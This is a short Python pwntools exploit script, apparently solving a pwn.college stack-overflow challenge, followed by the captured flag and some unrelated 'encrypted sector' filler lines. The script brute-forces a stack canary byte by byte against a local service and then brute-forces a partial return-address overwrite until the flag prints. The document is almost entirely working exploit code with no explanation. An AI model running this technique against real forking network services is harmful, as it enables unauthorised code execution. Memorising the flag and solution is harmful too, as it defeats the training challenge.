Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itertools
import sys
from pwn import *

context.log_level = "error"

def get_canary():
canary = b"\x00"
for i in range(7):
for guess in range(256):
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + bytes([guess])
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.1)
if b"stack smashing detected" not in result:
canary += bytes([guess])
p.close(); break
except: pass
finally: p.close()
return canary

def pwn_it(canary):
for attempts in itertools.count():
f = attempts % 16
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + b"B" * 8 + p16(0x9db + 0x1000 * f)
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.2)
if b"pwn.college{" in result:
print(result.decode()); p.close(); break
except: pass
finally: p.close()

if __name__ == "__main__":
c = get_canary()
if len(c) == 8: pwn_it(c)
pwn.college{wQr_iWOgYTj48UrRNGXxYBBRJow.0FOxMDL4cjM1gzW}
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE